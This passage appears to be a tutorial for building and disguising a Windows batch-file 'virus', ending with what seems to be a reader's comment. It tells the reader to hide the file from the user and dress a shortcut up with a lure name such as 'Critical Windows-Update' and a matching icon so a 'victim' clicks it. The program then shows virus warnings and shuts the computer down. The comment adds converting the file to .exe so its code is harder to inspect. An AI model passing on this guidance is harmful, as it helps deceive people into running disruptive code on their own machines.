Click File > Save as.
Decide for a location to save the virus. You should chose a location where the user won't find the file, so saving it on the desktop would be a bad idea!
Change ".txt" to "All files" in the file type drop-down menu.
Chose a harmless filename. Replace the ".txt" at the with ".bat"
Click on save and close Notepad.
Change the Icon
Right click on the desktop and go over to "new" then click "short cut".
For the location of the short cut chose our Virus.
Click next.
Give the shortcut a name that your victim will click on. ("Music for free", "My Documents", "Critical Windows-Update" "Get Free Cinema-Tickets" or "Internet Explorer").
Click on "Finish".
Right click on the shortcut you have just made and chose "properties". Now click on the "chose icon" button and scroll through the list of icons.
Decide for one of the icons that fits well to the name, chose it by clicking on it and hit OK twice.
It says alot of stuff about how you have a virus then shuts down
Oh and you should add a tutorial of how to change the .bat file to a .exe with f2ko.de to make it look more realistic because any one could look and change the codes in a .bat file
